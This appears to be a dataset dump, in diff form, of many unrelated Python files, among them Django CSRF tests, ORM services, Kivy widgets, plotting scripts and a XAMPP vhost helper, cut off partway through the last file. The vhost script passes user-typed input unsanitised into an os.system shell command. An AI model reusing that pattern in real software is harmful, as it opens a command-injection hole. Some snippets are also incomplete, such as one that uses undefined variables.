+ plt.subplot(312, sharex=sensorplot)
19
+ plt.plot(acc.index / 1000, acc['X'] - acc['X_filtered'], linewidth=2, color='#00ff00')
20
+
21
+ plt.subplot(313, sharex=sensorplot)
22
+ plt.plot(acc.index / 1000, acc['freno'], linewidth=2, color='#ff0000')
23
+
24
+ plt.show()
pool/shard008/Python/0078856_user_resource_permission.py ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ from __future__ import unicode_literals
3
+
4
+ from ziggurat_foundations.models.base import get_db_session
5
+ from ziggurat_foundations.models.services import BaseService
6
+
7
+ __all__ = ["UserResourcePermissionService"]
8
+
9
+
10
+ class UserResourcePermissionService(BaseService):
11
+ @classmethod
12
+ def get(cls, user_id, resource_id, perm_name, db_session=None):
13
+ """
14
+ Fetch row using primary key -
15
+ will use existing object in session if already present
16
+
17
+ :param user_id:
18
+ :param resource_id:
19
+ :param perm_name:
20
+ :param db_session:
21
+ :return:
22
+ """
23
+ db_session = get_db_session(db_session)
24
+ return db_session.query(cls.model).get([user_id, resource_id, perm_name])
25
+
26
+ @classmethod
27
+ def by_resource_user_and_perm(
28
+ cls, user_id, perm_name, resource_id, db_session=None
29
+ ):
30
+ """
31
+ return all instances by user name, perm name and resource id
32
+
33
+ :param user_id:
34
+ :param perm_name:
35
+ :param resource_id:
36
+ :param db_session:
37
+ :return:
38
+ """
39
+ db_session = get_db_session(db_session)
40
+
41
+ query = db_session.query(cls.model).filter(cls.model.user_id == user_id)
42
+ query = query.filter(cls.model.resource_id == resource_id)
43
+ query = query.filter(cls.model.perm_name == perm_name)
44
+ return query.first()
pool/shard008/Python/0078857_flatbutton.py ADDED
@@ -0,0 +1,35 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ from kivy.uix.anchorlayout import AnchorLayout
3
+ from kivy.properties import (ListProperty, StringProperty, NumericProperty,
4
+ BooleanProperty)
5
+
6
+ from flat_kivy.uix.behaviors import (GrabBehavior, ThemeBehavior, LogBehavior,
7
+ TouchRippleBehavior, ButtonBehavior)
8
+ from flat_kivy.uix.styles import RaisedStyle
9
+
10
+
11
+ class FlatButtonBase(GrabBehavior, LogBehavior, TouchRippleBehavior,
12
+ ThemeBehavior):
13
+ color = ListProperty([1., 1., 1.])
14
+ color_down = ListProperty([.7, .7, .7])
15
+ border_size = ListProperty([0, 0, 0, 0])
16
+ text = StringProperty('')
17
+ alpha = NumericProperty(1.0)
18
+ style = StringProperty(None, allownone=True)
19
+ color_tuple = ListProperty(['Grey', '500'])
20
+ font_color_tuple = ListProperty(['Grey', '1000'])
21
+ ripple_color_tuple = ListProperty(['Grey', '1000'])
22
+ font_ramp_tuple = ListProperty(None)
23
+ font_size = NumericProperty(12)
24
+ eat_touch = BooleanProperty(False)
25
+
26
+ def on_color(self, instance, value):
27
+ self.color_down = [x*.7 for x in value]
28
+
29
+
30
+ class FlatButton(FlatButtonBase, ButtonBehavior, AnchorLayout):
31
+ pass
32
+
33
+
34
+ class RaisedFlatButton(RaisedStyle, FlatButton):
35
+ pass
pool/shard008/Python/0078858_test_csrf.py ADDED
@@ -0,0 +1,109 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from django.template import TemplateDoesNotExist
2
+ from django.test import (
3
+ Client, RequestFactory, SimpleTestCase, override_settings,
4
+ )
5
+ from django.utils.translation import override
6
+ from django.views.csrf import CSRF_FAILURE_TEMPLATE_NAME, csrf_failure
7
+
8
+
9
+ @override_settings(ROOT_URLCONF='view_tests.urls')
10
+ class CsrfViewTests(SimpleTestCase):
11
+
12
+ def setUp(self):
13
+ super().setUp()
14
+ self.client = Client(enforce_csrf_checks=True)
15
+
16
+ @override_settings(
17
+ USE_I18N=True,
18
+ MIDDLEWARE=[
19
+ 'django.middleware.locale.LocaleMiddleware',
20
+ 'django.middleware.common.CommonMiddleware',
21
+ 'django.middleware.csrf.CsrfViewMiddleware',
22
+ ],
23
+ )
24
+ def test_translation(self):
25
+ """An invalid request is rejected with a localized error message."""
26
+ response = self.client.post('/')
27
+ self.assertContains(response, 'Forbidden', status_code=403)
28
+ self.assertContains(response, 'CSRF verification failed. Request aborted.', status_code=403)
29
+
30
+ with self.settings(LANGUAGE_CODE='nl'), override('en-us'):
31
+ response = self.client.post('/')
32
+ self.assertContains(response, 'Verboden', status_code=403)
33
+ self.assertContains(response, 'CSRF-verificatie mislukt. Verzoek afgebroken.', status_code=403)
34
+
35
+ @override_settings(
36
+ SECURE_PROXY_SSL_HEADER=('HTTP_X_FORWARDED_PROTO', 'https')
37
+ )
38
+ def test_no_referer(self):
39
+ """
40
+ Referer header is strictly checked for POST over HTTPS. Trigger the
41
+ exception by sending an incorrect referer.
42
+ """
43
+ response = self.client.post('/', HTTP_X_FORWARDED_PROTO='https')
44
+ self.assertContains(
45
+ response,
46
+ 'You are seeing this message because this HTTPS site requires a '
47
+ '&#39;Referer header&#39; to be sent by your Web browser, but '
48
+ 'none was sent.',
49
+ status_code=403,
50
+ )
51
+ self.assertContains(
52
+ response,
53
+ 'If you have configured your browser to disable &#39;Referer&#39; '
54
+ 'headers, please re-enable them, at least for this site, or for '
55
+ 'HTTPS connections, or for &#39;same-origin&#39; requests.',
56
+ status_code=403,
57
+ )
58
+ self.assertContains(
59
+ response,
60
+ 'If you are using the &lt;meta name=&quot;referrer&quot; '
61
+ 'content=&quot;no-referrer&quot;&gt; tag or including the '
62
+ '&#39;Referrer-Policy: no-referrer&#39; header, please remove them.',
63
+ status_code=403,
64
+ )
65
+
66
+ def test_no_cookies(self):
67
+ """
68
+ The CSRF cookie is checked for POST. Failure to send this cookie should
69
+ provide a nice error message.
70
+ """
71
+ response = self.client.post('/')
72
+ self.assertContains(
73
+ response,
74
+ 'You are seeing this message because this site requires a CSRF '
75
+ 'cookie when submitting forms. This cookie is required for '
76
+ 'security reasons, to ensure that your browser is not being '
77
+ 'hijacked by third parties.',
78
+ status_code=403,
79
+ )
80
+
81
+ @override_settings(TEMPLATES=[])
82
+ def test_no_django_template_engine(self):
83
+ """
84
+ The CSRF view doesn't depend on the TEMPLATES configuration (#24388).
85
+ """
86
+ response = self.client.post('/')
87
+ self.assertContains(response, 'Forbidden', status_code=403)
88
+
89
+ @override_settings(TEMPLATES=[{
90
+ 'BACKEND': 'django.template.backends.django.DjangoTemplates',
91
+ 'OPTIONS': {
92
+ 'loaders': [
93
+ ('django.template.loaders.locmem.Loader', {
94
+ CSRF_FAILURE_TEMPLATE_NAME: 'Test template for CSRF failure'
95
+ }),
96
+ ],
97
+ },
98
+ }])
99
+ def test_custom_template(self):
100
+ """A custom CSRF_FAILURE_TEMPLATE_NAME is used."""
101
+ response = self.client.post('/')
102
+ self.assertContains(response, 'Test template for CSRF failure', status_code=403)
103
+
104
+ def test_custom_template_does_not_exist(self):
105
+ """An exception is raised if a nonexistent template is supplied."""
106
+ factory = RequestFactory()
107
+ request = factory.post('/')
108
+ with self.assertRaises(TemplateDoesNotExist):
109
+ csrf_failure(request, template_name='nonexistent.html')
pool/shard008/Python/0078859_GED.py ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ """
3
+ One method is to use what is called Eigenvector Similarity.
4
+ Basically, you calculate the Laplacian eigenvalues for the
5
+ adjacency matrices of each of the graphs. For each graph,
6
+ find the smallest k such that the sum of the k largest
7
+ eigenvalues constitutes at least 90% of the sum of all
8
+ of the eigenvalues. If the values of k are different between
9
+ the two graphs, then use the smaller one. The similarity
10
+ metric is then the sum of the squared differences between
11
+ the largest k eigenvalues between the graphs. This will
12
+ produce a similarity metric in the range [0, ∞), where
13
+ values closer to zero are more similar.
14
+ """
15
+
16
+ import networkx as nx
17
+
18
+ def select_k(spectrum, minimum_energy = 0.9):
19
+ running_total = 0.0
20
+ total = sum(spectrum)
21
+ if total == 0.0:
22
+ return len(spectrum)
23
+ for i in range(len(spectrum)):
24
+ running_total += spectrum[i]
25
+ if running_total / total >= minimum_energy:
26
+ return i + 1
27
+ return len(spectrum)
28
+
29
+ laplacian1 = nx.spectrum.laplacian_spectrum(graph1)
30
+ laplacian2 = nx.spectrum.laplacian_spectrum(graph2)
31
+
32
+ k1 = select_k(laplacian1)
33
+ k2 = select_k(laplacian2)
34
+ k = min(k1, k2)
35
+
36
+ similarity = sum((laplacian1[:k] - laplacian2[:k])**2)
37
+
pool/shard008/Python/0078869_checks.py ADDED
@@ -0,0 +1,78 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from django.core.checks import register, Error
2
+
3
+ from apification.utils.discover import discover_tree
4
+ from apification.nodes import ApiNode
5
+ from apification.actions import Action
6
+ from apification.serializers import Serializer
7
+
8
+ def fetch_actions_under(node):
9
+ ret = []
10
+ for subnode in node.iter_class_children():
11
+ if issubclass(subnode, Action):
12
+ ret.append(subnode)
13
+ else:
14
+ ret.extend(fetch_actions_under(subnode))
15
+ return ret
16
+
17
+
18
+
19
+ @register()
20
+ def all_checks(app_configs, **kwargs):
21
+ errors = []
22
+ for root in discover_tree():
23
+ actions = fetch_actions_under(root)
24
+ errors.extend(check_type(root))
25
+ errors.extend(check_actions_are_leafs(actions))
26
+ errors.extend(check_no_action_without_serializer(actions))
27
+ return errors
28
+
29
+
30
+ def check_type(root):
31
+ errors = []
32
+ if not issubclass(root, ApiNode):
33
+ errors.append(
34
+ Error(
35
+ 'Node %s is not ApiNode subclass' % root,
36
+ # hint='A hint.',
37
+ obj=root,
38
+ id='apification.E001',
39
+ )
40
+ )
41
+ return errors
42
+
43
+
44
+ def check_actions_are_leafs(actions): # FIXME: Do we realy need root here?
45
+ errors = []
46
+
47
+ for action in actions:
48
+ if tuple(action.iter_class_children()): # if at least one child
49
+ children = map(str, action.iter_class_children())
50
+ errors.append(
51
+ Error(
52
+ 'Action must have no child nodes, but it have these children: %s' % ', '.join(children),
53
+ # hint='A hint.',
54
+ obj=action,
55
+ id='apification.E002',
56
+ )
57
+ )
58
+ return errors
59
+
60
+
61
+ def check_no_action_without_serializer(actions):
62
+ errors = []
63
+ without_serializers = []
64
+ for action in actions:
65
+ if not isinstance(action.serializer, type) or not issubclass(action.serializer, Serializer):
66
+ without_serializers.append(str(action))
67
+
68
+ if without_serializers:
69
+ errors.append(
70
+ Error(
71
+ 'These Actions have no suitable serializers: %s' % ', '.join(without_serializers),
72
+ # hint='A hint.',
73
+ obj=action.parent_class,
74
+ id='apification.E003',
75
+ )
76
+ )
77
+ return errors
78
+
pool/shard008/Python/0078871_handlers.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import json
2
+ import webapp2
3
+ from webapp2_extras.routes import RedirectRoute
4
+
5
+ from checker import processing
6
+
7
+
8
+ class MainHandler(webapp2.RequestHandler):
9
+ def get(self, url=None):
10
+ processor = processing.Processor(url)
11
+ license = processor.get_license()
12
+ self.response.headers['Content-Type'] = 'application/json'
13
+ self.response.out.write(json.dumps(license))
14
+
15
+ routes = [
16
+ RedirectRoute(
17
+ '/check/<url:(.+)>',
18
+ MainHandler,
19
+ name='home',
20
+ strict_slash=True
21
+ ),
22
+ ]
23
+
24
+ try:
25
+ with open('secret_key') as key_f:
26
+ key = key_f.read()
27
+ except:
28
+ raise Exception('Run generate_secret_key.sh')
29
+
30
+ webapp2_config = {
31
+ 'webapp2_extras.sessions': {
32
+ 'secret_key': key
33
+ },
34
+ }
35
+
36
+ application = webapp2.WSGIApplication(
37
+ debug=True, # TODO: detect
38
+ config=webapp2_config,
39
+ routes=routes
40
+ )
pool/shard008/Python/0078878_rpt_base.py ADDED
@@ -0,0 +1,112 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ ##############################################################################
3
+ #
4
+ # OpenERP, Open Source Management Solution
5
+ # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
6
+ #
7
+ # This program is free software: you can redistribute it and/or modify
8
+ # it under the terms of the GNU Affero General Public License as
9
+ # published by the Free Software Foundation, either version 3 of the
10
+ # License, or (at your option) any later version.
11
+ #
12
+ # This program is distributed in the hope that it will be useful,
13
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
14
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15
+ # GNU Affero General Public License for more details.
16
+ #
17
+ # You should have received a copy of the GNU Affero General Public License
18
+ # along with this program. If not, see <http://www.gnu.org/licenses/>.
19
+ #
20
+ ##############################################################################
21
+
22
+ import time
23
+ from lxml import etree
24
+
25
+ from openerp.osv import fields, osv
26
+ from openerp.tools.translate import _
27
+ '''
28
+ Report base class, the sub class need todo:
29
+ 1.Add the default value for the 'type' field
30
+ 2.Add the search fields that the report need
31
+ 3.Defined the view xml based on the new class
32
+ 4.define method run_%type% to report the report line data
33
+ 5.define _pdf_data() method to return the report name in xml
34
+ '''
35
+ class rpt_base(osv.osv_memory):
36
+ _name = "rpt.base"
37
+ _description = "Base Report"
38
+ _columns = {
39
+ 'name': fields.char('Report Name', size=16, required=False),
40
+ 'title': fields.char('Report Title', required=False),
41
+ 'type': fields.char('Report Type', size=16, required=True),
42
+ 'company_id': fields.many2one('res.company','Company',required=True,),
43
+ #report data lines
44
+ 'rpt_lines': fields.one2many('rpt.base.line', 'rpt_id', string='Report Lines'),
45
+ #show/hide search fields on GUI
46
+ 'show_search': fields.boolean('Show Searching', ),
47
+ #show/hide search result
48
+ 'show_result': fields.boolean('Show Result', ),
49
+ #show/hide search result
50
+ 'save_pdf': fields.boolean('Can Save PDF', ),
51
+ }
52
+
53
+ _defaults = {
54
+ 'company_id': lambda self,cr,uid,c: self.pool.get('res.company')._company_default_get(cr, uid, 'account.rptcn', context=c),
55
+ 'show_search': True,
56
+ 'show_result': False,
57
+ 'save_pdf': False,
58
+ }
59
+ def default_get(self, cr, uid, fields_list, context=None):
60
+ resu = super(rpt_base,self).default_get(cr, uid, fields_list, context)
61
+ #set default title by i18n
62
+ if context.get('default_title',False):
63
+ resu['title'] = _(context.get('default_title'))
64
+ return resu
65
+ def run_report(self, cr, uid, ids, context=None):
66
+ rpt = self.browse(cr, uid, ids, context=context)[0]
67
+ rpt_method = getattr(self, 'run_%s'%(rpt.type,))
68
+ #get report data
69
+ rpt_line_obj, rpt_lns = rpt_method(cr, uid, ids, context)
70
+ #remove the old lines
71
+ unlink_ids = rpt_line_obj.search(cr, uid, [('rpt_id','=',rpt.id)], context=context)
72
+ rpt_line_obj.unlink(cr ,uid, unlink_ids, context=context)
73
+ #create new lines
74
+ for rpt_line in rpt_lns:
75
+ rpt_line['rpt_id'] = rpt.id
76
+ rpt_line_obj.create(cr ,uid, rpt_line, context=context)
77
+ #update GUI elements
78
+ self.write(cr, uid, rpt.id, {'show_search':False,'show_result':True,'save_pdf':True},context=context)
79
+ return True
80
+
81
+ def _pdf_data(self, cr, uid, ids, form_data, context=None):
82
+ raise (_('Error!'), _('Not implemented.'))
83
+
84
+ def save_pdf(self, cr, uid, ids, context=None):
85
+ if context is None:
86
+ context = {}
87
+ form_data = self.read(cr, uid, ids[0], context=context)
88
+ rptxml_name = self._pdf_data(cr, uid, ids[0], form_data, context=context)['xmlrpt_name']
89
+ datas = {
90
+ 'model': self._name,
91
+ 'ids': [ids[0]],
92
+ 'form': form_data,
93
+ }
94
+ return {'type': 'ir.actions.report.xml', 'report_name': rptxml_name, 'datas': datas, 'nodestroy': True}
95
+
96
+ rpt_base()
97
+
98
+ class rpt_base_line(osv.osv_memory):
99
+ _name = "rpt.base.line"
100
+ _description = "Base report line"
101
+ _order = 'seq'
102
+ _columns = {
103
+ 'rpt_id': fields.many2one('rpt.base', 'Report'),
104
+ 'seq': fields.integer('Seq', ),
105
+ 'code': fields.char('Code', size=64, ),
106
+ 'name': fields.char('Name', size=256, ),
107
+ 'data_level': fields.char('Data level code', size=64)
108
+ }
109
+
110
+ rpt_base_line()
111
+
112
+ # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
pool/shard008/Python/0078880_lines.py ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #/usr/bin/env python
2
+ from __future__ import division
3
+ '''
4
+ Created on Feb 16, 2015
5
+
6
+ @author: Christopher Henderson (chris@chenderson.org)
7
+ '''
8
+
9
+ class NormalizedRational(object):
10
+ '''
11
+ This class normalizes a point so that any other point that can land
12
+ on the same line hashes to the same value.
13
+
14
+ - All points on the x-axis are converted to (0, 1)
15
+ - All points on the y-axis are converted to (1, 0)
16
+ - The origin remains the origin.
17
+ - All other points have their rational reduced. If the point
18
+ lies within quadrants III or IV then they are flipped to I or II.
19
+
20
+ @param int numerator
21
+ @param int denominator
22
+ '''
23
+ def __init__(self, numerator, denominator):
24
+ x_axis = numerator == 0 and denominator != 0
25
+ y_axis = denominator == 0 and numerator != 0
26
+ origin = numerator == 0 and denominator == 0
27
+ if x_axis:
28
+ self.rational = (0, 1)
29
+ elif y_axis:
30
+ self.rational = (1, 0)
31
+ elif origin:
32
+ self.rational = (0, 0)
33
+ else:
34
+ self.rational = self._normalizeRational(numerator, denominator)
35
+
36
+ def _normalizeRational(self, numerator, denominator):
37
+ #===================================================================
38
+ # Euclid's algorithm for GCD.
39
+ # https://en.wikipedia.org/wiki/Euclidean_algorithm
40
+ # @TODO research a possibly fast approach.
41
+ # @TODO attempt to implement https://en.wikipedia.org/wiki/Sch%C3%B6nhage%E2%80%93Strassen_algorithm
42
+ #===================================================================
43
+ GCD = abs(numerator)
44
+ tempDenominator = abs(denominator)
45
+ temp = 0
46
+ while (tempDenominator > 0):
47
+ temp = tempDenominator
48
+ tempDenominator = GCD % tempDenominator
49
+ GCD = temp
50
+ return self._foldQuadrantsIIIandIV(numerator//GCD, denominator//GCD)
51
+
52
+ def _foldQuadrantsIIIandIV(self, y, x):
53
+ quadrantIII = y < 0 and x < 0
54
+ quadrantIV = y < 0 and x > 0
55
+ if quadrantIII or quadrantIV:
56
+ return (y*-1, x*-1)
57
+ else:
58
+ return (y, x)
59
+
60
+ def __eq__(self, other):
61
+ if isinstance(other, NormalizedRational):
62
+ return self.rational == other.rational
63
+ elif isinstance(other, tuple):
64
+ return self.rational == other
65
+ elif isinstance(other, list) or isinstance(other, set):
66
+ return self.rational == tuple(other)
67
+ else:
68
+ return False
69
+
70
+ def __hash__(self):
71
+ return hash(self.rational)
72
+
73
+ def getNumLines(points):
74
+ lines = set()
75
+ for point in points:
76
+ lines.add(NormalizedRational(point[1], point[0]))
77
+ if (0, 0) in lines and len(lines) is not 1:
78
+ return len(lines) - 1
79
+ else:
80
+ return len(lines)
pool/shard008/Python/0078884_test_transaction.py ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2014-2016 Morgan Delahaye-Prat. All Rights Reserved.
2
+ #
3
+ # Licensed under the Simplified BSD License (the "License");
4
+ # you may not use this file except in compliance with the License.
5
+ """Test transactional features."""
6
+
7
+
8
+ class TestTransaction:
9
+ """Test transactional features."""
10
+
11
+ models = 'SQLiteModel',
12
+
13
+ def test_rollback(self, model):
14
+ """Transaction allow to rollback pending modifications."""
15
+ model('foo').save(commit=False)
16
+ model.rollback()
17
+
18
+ assert model.count() == 0
19
+
20
+ def test_delete_uncommitted(self, model):
21
+ """Transaction allow to delete a saved but uncommitted instance."""
22
+ rv = model('foo').save(commit=False)
23
+ rv.delete() # perform a commit inline
24
+
25
+ assert model.count() == 0
pool/shard008/Python/0078889_hassourcenoteregexp.py ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #
2
+ # gPrime - A web-based genealogy program
3
+ #
4
+ # Copyright (C) 2014 Nick Hall
5
+ #
6
+ # This program is free software; you can redistribute it and/or modify
7
+ # it under the terms of the GNU General Public License as published by
8
+ # the Free Software Foundation; either version 2 of the License, or
9
+ # (at your option) any later version.
10
+ #
11
+ # This program is distributed in the hope that it will be useful,
12
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
13
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14
+ # GNU General Public License for more details.
15
+ #
16
+ # You should have received a copy of the GNU General Public License
17
+ # along with this program; if not, write to the Free Software
18
+ # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19
+ #
20
+
21
+ """
22
+ Filter rule to match citations whose source notes contain a substring or
23
+ match a regular expression.
24
+ """
25
+
26
+ #-------------------------------------------------------------------------
27
+ #
28
+ # Standard python modules
29
+ #
30
+ #-------------------------------------------------------------------------
31
+ from ....const import LOCALE as glocale
32
+ _ = glocale.translation.gettext
33
+
34
+ #-------------------------------------------------------------------------
35
+ #
36
+ # Gprime modules
37
+ #
38
+ #-------------------------------------------------------------------------
39
+ from .._hasnoteregexbase import HasNoteRegexBase
40
+
41
+ #-------------------------------------------------------------------------
42
+ #
43
+ # HasSourceNoteRegexp
44
+ #
45
+ #-------------------------------------------------------------------------
46
+ class HasSourceNoteRegexp(HasNoteRegexBase):
47
+ """
48
+ Rule that checks if a citation has a source note that contains a
49
+ substring or matches a regular expression.
50
+ """
51
+
52
+ name = _('Citations having source notes containing <text>')
53
+ description = _("Matches citations whose source notes contain a substring "
54
+ "or match a regular expression")
55
+ category = _('Source filters')
56
+
57
+ def apply(self, db, citation):
58
+ source = db.get_source_from_handle(citation.get_reference_handle())
59
+ if HasNoteRegexBase.apply(self, db, source):
60
+ return True
61
+ return False
pool/shard008/Python/0078897_module1.py ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import numpy as np
2
+ import matplotlib.pyplot as plt
3
+ import math
4
+
5
+
6
+ def getCoords (r, s, t):
7
+ rn = r/np.sqrt(r**2+s**2+t**2)
8
+ sn = s/np.sqrt(r**2+s**2+t**2)
9
+ tn = t/np.sqrt(r**2+s**2+t**2)
10
+ if float(tn) < 0:
11
+ tn *= (-1)
12
+ side = 0
13
+ else:
14
+ side = 1
15
+ x = -((-tn*rn)/(-1-tn))+rn
16
+ y = -((-tn*sn)/(-1-tn))+sn
17
+ return [x,y,side]
18
+
19
+ def readfile(str):
20
+ file = open(str)
21
+ lines = []
22
+ for line in file:
23
+ line=line.strip('\n')
24
+ lines.append(line)
25
+ for i in range(len(lines)):
26
+ lines[i] = lines[i].split()
27
+ for j in range(3):
28
+ lines[i][j] = float(lines[i][j])
29
+ return(lines)
30
+
31
+ def plotPoints(matrix):
32
+ for i in range(len(matrix)):
33
+ coords = getCoords(matrix[i][0], matrix[i][1], matrix[i][2],)
34
+ plt.plot(coords[0],coords[1],matrix[i][3])
35
+
36
+ def meridian(angle,col):
37
+ if not((angle == 0)or(angle%np.pi < 0.005)):
38
+ theta = np.linspace(0, math.pi, 50)
39
+ rho = 1
40
+ coords = []
41
+ coordsX = []
42
+ coordsY = []
43
+ for i in range(len(theta)):
44
+ Z = rho * np.sin(theta[i]) * np.sin(angle)
45
+ X = rho * np.sin(theta[i]) * np.cos(angle)
46
+ Y = rho * np.cos(theta[i])
47
+ coords.append([X, Y, Z])
48
+ for i in range(len(coords)):
49
+ coordsX.append(getCoords(coords[i][0], coords[i][1], coords[i][2])[0])
50
+ coordsY.append(getCoords(coords[i][0], coords[i][1], coords[i][2])[1])
51
+ plt.plot(coordsX, coordsY, color=col)
52
+
53
+ def parallel(angle,col):
54
+ angles = [angle]
55
+ t2 = np.linspace(0, math.pi, 50)
56
+ coords = []
57
+ coordsX = []
58
+ coordsY = []
59
+ for i in range(len(angles)):
60
+ y2 = math.tan(angles[i])
61
+ for t in t2:
62
+ z2 = np.sin(t)
63
+ x2 = np.cos(t)
64
+ coords.append(getCoords(x2, y2, z2))
65
+ for i in range(len(coords)):
66
+ coordsX.append(coords[i][0])
67
+ coordsY.append(coords[i][1])
68
+ plt.plot(coordsX, coordsY ,color=col)
69
+
70
+ def drawGrid(radius=1):
71
+ #parallels with 5 deg spacing
72
+ for i in np.linspace(0, math.pi, 21):
73
+ parallel(i, '0.75')
74
+
75
+ #meridians with 5 deg spacing
76
+ for i in np.linspace(0, math.pi, 21):
77
+ meridian(i, '0.75')
78
+
79
+ #draw circle
80
+ t = np.linspace(0, 2 * math.pi, 500)
81
+ x = radius * np.cos(t)
82
+ y = radius * np.sin(t)
83
+ plt.plot(x, y, color='k')
pool/shard008/Python/0078901_vhost-maker.py ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #title : vhost-maker.py
2
+ #description :
3
+ #author : Lewis Relph
4
+ #date : 19/03/17
5
+ #notes : Script creates xampp apache vhost entry and prompts for windows vhost. Designed for laraval
6
+ # Use with care and backup before fiddling
7
+ #python_version : 3.5.2
8
+ #==============================================================================
9
+
10
+ import re
11
+ import os
12
+ import subprocess
13
+
14
+
15
+ def genvhost(project_title):
16
+ string = '<VirtualHost laravel.[projecttitle].dev:80>\n ServerAdmin localhost@localhost\n DocumentRoot "A:/htdocs/laravel/[projecttitle]/public"\n ServerName localhost\n</VirtualHost>'
17
+ value = re.sub(r'\[projecttitle\]', project_title, string)
18
+ return value
19
+
20
+
21
+ # User Input
22
+ project_title = input('Title: ')
23
+
24
+
25
+ # Apache Vhost
26
+ #############################
27
+
28
+ # Open from default path
29
+ httpd = open('C:\\xampp\\apache\\conf\\extra\\httpd-vhosts.conf', "a")
30
+
31
+ # Write with 2 line spacing
32
+ httpd.write('\n\n'+genvhost(project_title))
33
+ httpd.close()
34
+
35
+ # Output for user
36
+ print('Apache vhost updated')
37
+
38
+
39
+ # Windows Vhost
40
+ ##############################
41
+
42
+ # Open explorer at location
43
+ subprocess.Popen(r'explorer /select,"C:\Windows\System32\drivers\etc\hosts"')
44
+
45
+ # Copy to users clipboard
46
+ text = '127.0.0.1 laravel.'+project_title+'.dev'
47
+ command = 'echo '+text+'| clip'
48
+ os.system(command)
49
+
50
+ print('Please append clipboard to selected file and restart apache')
51
+ input()
pool/shard008/Python/0078903_image_widget.py ADDED
@@ -0,0 +1,154 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #------------------------------------------------------------------------------
2
+ # Copyright (c) 2005, Enthought, Inc.
3
+ # All rights reserved.
4
+ #
5
+ # This software is provided without warranty under the terms of the BSD
6
+ # license included in enthought/LICENSE.txt and may be redistributed only
7
+ # under the conditions described in the aforementioned license. The license
8
+ # is also available online at http://www.enthought.com/licenses/BSD.txt
9
+ # Thanks for using Enthought open source!
10
+ #
11
+ # Author: Enthought, Inc.
12
+ # Description: <Enthought pyface package component>
13
+ #------------------------------------------------------------------------------
14
+ """ Application window example. """
15
+
16
+
17
+ # Standard library imports.
18
+ import os, sys
19
+
20
